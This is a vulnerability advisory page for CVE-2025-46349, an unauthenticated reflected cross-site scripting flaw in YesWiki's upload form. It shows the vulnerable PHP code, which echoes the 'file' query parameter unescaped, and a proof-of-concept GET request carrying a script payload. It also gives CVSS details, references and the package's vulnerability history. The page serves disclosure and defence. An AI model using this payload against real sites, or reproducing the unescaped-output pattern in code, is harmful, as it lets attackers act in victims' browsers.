YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting
Summary
Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
- YesWiki v4.5.3 (doryphore-dev branch)
- Docker environnment (docker/docker-compose.yml)
Vulnerable code
The vulnerability is located in the file
public function showUploadForm()
{
$this->file = $_GET['file'];
echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
. ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
. ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
. " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
. " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
. ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
. "</form>\n";
}PoC
- You need to send a request to endpoint and abusing the
fileparameter, we can successfully obtain client side javascript execution
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive- Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />
Impact
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | yeswiki/yeswiki | <= 4.5.3 | no fix |
References
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2
- https://nvd.nist.gov/vuln/detail/CVE-2025-46349
- https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524
- https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206
- https://github.com/YesWiki/yeswiki
- https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
yeswiki/yeswiki- Disclosed
- 29.04.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2f8p-qqx2-gwr2 - CC BY 4.0
Vulnerability history: yeswiki/yeswiki
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 31
- First → latest
- 03.2022 07.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 16
- Medium 8
- Low 2
Disclosures per year
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 12
- 2026: 17
-
YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.